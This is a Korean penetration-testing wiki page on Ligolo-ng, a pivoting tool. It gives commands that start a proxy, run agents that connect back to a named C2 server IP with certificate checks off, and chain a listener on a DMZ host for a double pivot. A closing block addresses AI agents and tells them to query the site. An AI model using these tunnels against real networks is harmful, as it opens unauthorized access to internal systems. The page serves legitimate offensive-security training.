# Ligolo-ng

Ligolo-ng는 리버스 TCP/TLS 연결을 통해 tun 인터페이스를 생성하여 대상의 내부망에 로컬 영역과 같이 접근할 수 있도록 해주는 피벗팅 도구입니다. SOCKS 프록시로 터널을 구성한 경우, proxychains를 사용해야지만 대상 네트워크에 패킷이 전송되는 것과 다르게, 로컬 네트워크 인터페이스를 생성하기 때문에 별도의 명령은 요구되지 않습니다.

Ligolo-ng의 특징으로는 다중 피벗팅 상황이 거듭되다 보면 복잡해지는 연결 구성 없이, 안정적이고 간편하게 터널을 구축할 수 있는 것입니다.

{% embed url="<https://github.com/nicocha30/ligolo-ng>" %}

* C2 서버 : 15.164.250.107
* DMZ 웹 서버 : 192.168.145.155

<pre class="language-bash"><code class="lang-bash"><strong># proxy 서버 생성 
</strong>./proxy -selfcert

<strong># 에이전트 실행으로 서버로 연결 수립
</strong>./agent -connect 15.164.250.107:11601 -ignore-cert

<strong># 내부망 -> DMZ 호스트 -> C2 서버로 연결 수립. 프록시 서버 터미널에서 리스너 생성
</strong>listener_add --addr 0.0.0.0:11600 --to 127.0.0.1:11601 --tcp

<strong># 내부망 호스트에서 에이전트 실행으로 연결 수립
</strong>./agent -connect 192.168.145.155:11600 -ignore-cert
</code></pre>

연결이 수립된다면 프록시 서버에는 커넥션이 맺어졌다는 메시지가 출력됩니다. 세션 리스트를 통해 연결할  세션을 선택한 후, 라우팅하여 인터페이스를 생성합니다.

<pre class="language-bash"><code class="lang-bash"><strong># 세션 선택
</strong>session

<strong># 인터페이스 생성
</strong>autoroute

<strong># 인터페이스 리스트
</strong>iflist

<strong># 인터페이스 삭제
</strong>ifdel --name &#x3C;interface name>
</code></pre>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentestwiki.com/etc/tools/ligolo-ng.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
